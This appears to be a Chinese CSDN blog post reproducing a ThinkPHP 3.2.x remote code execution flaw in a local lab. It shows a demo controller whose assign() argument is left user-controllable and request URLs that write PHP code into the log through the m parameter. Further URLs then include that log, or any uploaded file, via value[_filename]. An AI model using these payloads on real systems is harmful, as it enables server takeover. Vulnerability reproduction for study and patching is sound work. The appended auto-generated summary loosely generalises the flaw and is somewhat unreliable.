ThinkPHP 3.2.x RCE漏洞复现

本文详细介绍了ThinkPHP3.2版本的远程代码执行(RCE)漏洞,包括漏洞产生的原因、复现环境的搭建以及具体步骤。通过在Controller中使用模板赋值方法assign,当第一个参数可控时,可以导致文件包含,从而执行恶意代码。复现过程涉及创建log文件并利用其执行phpinfo(),以及包含任意文件实现代码执行。此漏洞影响安全,应及时修复。
摘要由CSDN通过智能技术生成

ThinkPHP 3.2.x RCE漏洞复现

漏洞介绍

ThinkPHP3.2远程代码执行漏洞,该漏洞产生原因是由于在业务代码中如果对模板赋值方法assign的第一个参数可控,则导致模板路径变量被覆盖为携带攻击代码路径,造成文件包含,代码执行等危害。

漏洞复现

复现环境:phpstudy+php7.3.4+ThinkPHP3.2.3完整版+windows10
一、 搭建环境:
在ThinkPHP的Application\Home\Controller\IndexController.class.php
目录下写入模板赋值assign的 Demo
Demo:

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($value=''){
        $this->assign($value);
        $this->display();
    }
}

在这里插入图片描述
写入demo后需要在view下创建一个index文件进行视图渲染
目录:\Application\Home\View\Index\index.html

Log记录目录:
若开启debug模式日志会到:\Application\Runtime\Logs\Home\下
若未开启debug模式日志会到:\Application\Runtime\Logs\Common\下

二、 漏洞利用
1、创建log文件

http://127.0.0.1/thinkphp/index.php?m=--><?=phpinfo();?>

在这里插入图片描述
2、包含log文件

http://127.0.0.1/thinkphp/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/common/21_07_12.log

在这里插入图片描述

3、上传具有恶意代码的任何文件到服务器上,直接包含其文件相对或绝对路径即可。
例如:http://127.0.0.1/thinkphp/index.php?m=Home&c=Index&a=index&value[_filename]=./[filename]

参考链接

https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
ThinkPHP是一个开源的PHP开发框架,它的版本3.2.x是一个老版本,存在远程命令执行RCE漏洞。这个漏洞允许攻击者通过构造恶意请求来执行任意的系统命令,从而获得对应用服务器的完全控制权限。 这个漏洞的原因是在ThinkPHP 3.2.x版本的核心代码中没有对用户的输入进行充分的过滤和校验。攻击者可以利用这个漏洞执行各种恶意操作,比如上传恶意文件、修改数据库内容或者获取系统敏感信息等。 为了利用这个漏洞,攻击者需要构造一个特殊的请求,其中包含可执行的系统命令。然后将这个请求发送到受影响的应用程序的漏洞点上。当应用程序在处理这个请求时,会将其中的系统命令当作可执行代码执行,最终导致攻击者获取对应用服务器的控制权限。 为了修复这个漏洞,用户可以升级到最新版本的ThinkPHP框架。在最新版本中,开发者已经修复了这个漏洞,并加强了对用户输入的过滤和校验。此外,用户还可以根据自己的需求对应用程序进行进一步的安全加固,比如限制上传文件的类型和大小,对用户输入进行严格的过滤和校验等。 总之,ThinkPHP 3.2.x版本存在远程命令执行漏洞,攻击者可以通过构造恶意请求来执行任意的系统命令。为了修复这个漏洞,用户可以升级到最新版本的ThinkPHP框架,并加强应用程序的安全加固措施。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值